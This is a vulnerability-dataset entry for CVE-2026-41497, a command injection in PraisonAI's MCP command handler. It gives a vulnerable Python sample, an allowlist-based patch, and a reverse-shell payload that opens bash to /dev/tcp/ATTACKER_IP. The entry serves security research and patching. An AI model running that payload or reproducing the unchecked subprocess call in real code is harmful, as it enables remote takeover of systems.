VAITP Dataset

← Back to the dataset

CVE-2026-41497

PraisonAI allows arbitrary command execution via its MCP command handler.

  • CVSS 9.8
  • CWE-77
  • Input Validation and Sanitization
  • Remote

PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.

CVSS base score
9.8
Published
2026-05-08
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PraisonAI
Fixed by upgrading
Yes

Solution

Upgrade PraisonAI to version 4.6.9 or later.

Vulnerable code sample

import subprocess
import shlex

def parse_mcp_command(command_string: str):
    """
    Represents the vulnerable function in PraisonAI prior to version 4.6.9.
    It parses a command string and executes it without any validation or
    an allowlist, creating a remote code execution vulnerability.
    """
    try:
        # The vulnerability lies here: the input string is split into a command
        # and arguments, but there is no check to ensure the command is safe.
        command_parts = shlex.split(command_string)

        # The unsanitized command is passed directly to subprocess.run,
        # allowing an attacker to execute arbitrary system commands.
        subprocess.run(
            command_parts,
            text=True,
            check=True,
            capture_output=True
        )
    except Exception as e:
        # In a real scenario, error handling might obscure the execution.
        print(f"An error occurred: {e}")

if __name__ == '__main__':
    # This simulates a malicious payload being sent to the agent.
    # The command uses 'bash -c' to execute an arbitrary command, in this
    # case, creating a file as proof of the vulnerability.
    malicious_command = "bash -c 'echo \"This file is proof of CVE-2026-41497 exploitation.\" > exploited.txt'"

    print(f"[*] Simulating execution of malicious command: {malicious_command}")
    parse_mcp_command(malicious_command)
    print("[*] Simulation finished. Check for a file named 'exploited.txt'.")

Patched code sample

import subprocess
import shlex
from typing import List

# A predefined allowlist of safe commands. This is the core of the fix,
# ensuring only expected executables can be run. In a real system,
# this list would be carefully curated to include only necessary and
# non-dangerous commands.
ALLOWED_COMMANDS = {
    "ls",
    "echo",
    "cat",
    # Assuming 'agent_tool' is a custom, safe executable for the system.
    "agent_tool",
}

def parse_mcp_command(command_string: str):
    """
    Parses and executes a command string only if the command is in a predefined
    allowlist, representing the fix for the arbitrary code execution vulnerability.

    The vulnerable version of this function would have directly passed the parsed
    arguments to subprocess.run() without validation.
    """
    if not isinstance(command_string, str) or not command_string.strip():
        raise ValueError("Command string cannot be empty.")

    # Use shlex.split for safer parsing of shell-like command strings,
    # which helps prevent some forms of injection.
    try:
        args: List[str] = shlex.split(command_string)
    except ValueError as e:
        raise ValueError(f"Error parsing command string: {e}")

    if not args:
        raise ValueError("Parsed command is empty.")

    command = args[0]

    # --- VULNERABILITY FIX ---
    # The core of the fix is to validate the parsed command against a strict allowlist
    # before passing it to any execution context like subprocess.
    if command not in ALLOWED_COMMANDS:
        # If the command is not in the allowlist, raise a PermissionError
        # and refuse to execute. This prevents arbitrary commands like
        # 'bash', 'python', 'sh', etc., from being run.
        raise PermissionError(
            f"Execution of command '{command}' is denied. It is not in the allowlist."
        )
    # --- END OF FIX ---

    # If the command is validated, it is now safer to execute.
    # The `check=True` argument ensures that if the command itself fails
    # (e.g., returns a non-zero exit code), it will raise a CalledProcessError.
    try:
        subprocess.run(args, check=True, capture_output=True, text=True)
    except FileNotFoundError:
        # This handles the case where the allowed command does not exist on the system.
        raise FileNotFoundError(f"Allowed command '{command}' not found on the system.")
    except subprocess.CalledProcessError as e:
        # This handles errors from the executed command itself.
        raise RuntimeError(f"Command '{command}' failed with error: {e.stderr}")

Payload

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'

Cite this entry

@misc{vaitp:cve202641497,
  title        = {{PraisonAI allows arbitrary command execution via its MCP command handler.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41497},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41497/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::